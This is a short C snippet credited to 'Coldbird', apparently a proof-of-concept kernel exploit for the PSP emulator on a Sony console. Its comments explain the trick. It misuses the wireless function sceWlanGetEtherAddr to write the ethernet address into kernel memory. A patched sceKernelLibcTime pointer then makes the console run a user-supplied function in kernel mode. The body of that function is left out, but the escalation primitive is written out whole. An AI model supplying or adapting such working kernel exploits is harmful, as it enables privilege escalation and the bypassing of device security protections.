Coldbird

int kernel_function()
{
	...
}

void kernel_exploit()
{
	/* Write the ethernet address to any location. This means the exploit depends on your ethernet address. Perhaps it will not work on every model */
	/* This exploit is only available in kermit_wlan.prx module. On the PSP 6.60 this function is k1-checked */
	/* That's why "Tony" released the PSPEmu's flash0... */
	sceWlanGetEtherAddr(0x8800F718);
	sceWlanGetEtherAddr(0x8800F716);
	sceWlanGetEtherAddr(0x8800F714);
	sceWlanGetEtherAddr(0x8800F712);

	sceKernelDcacheWritebackAll();

	sceKernelLibcTime(0, (void *)((u32)kernel_function | 0x80000000), 0, 0, 0);
}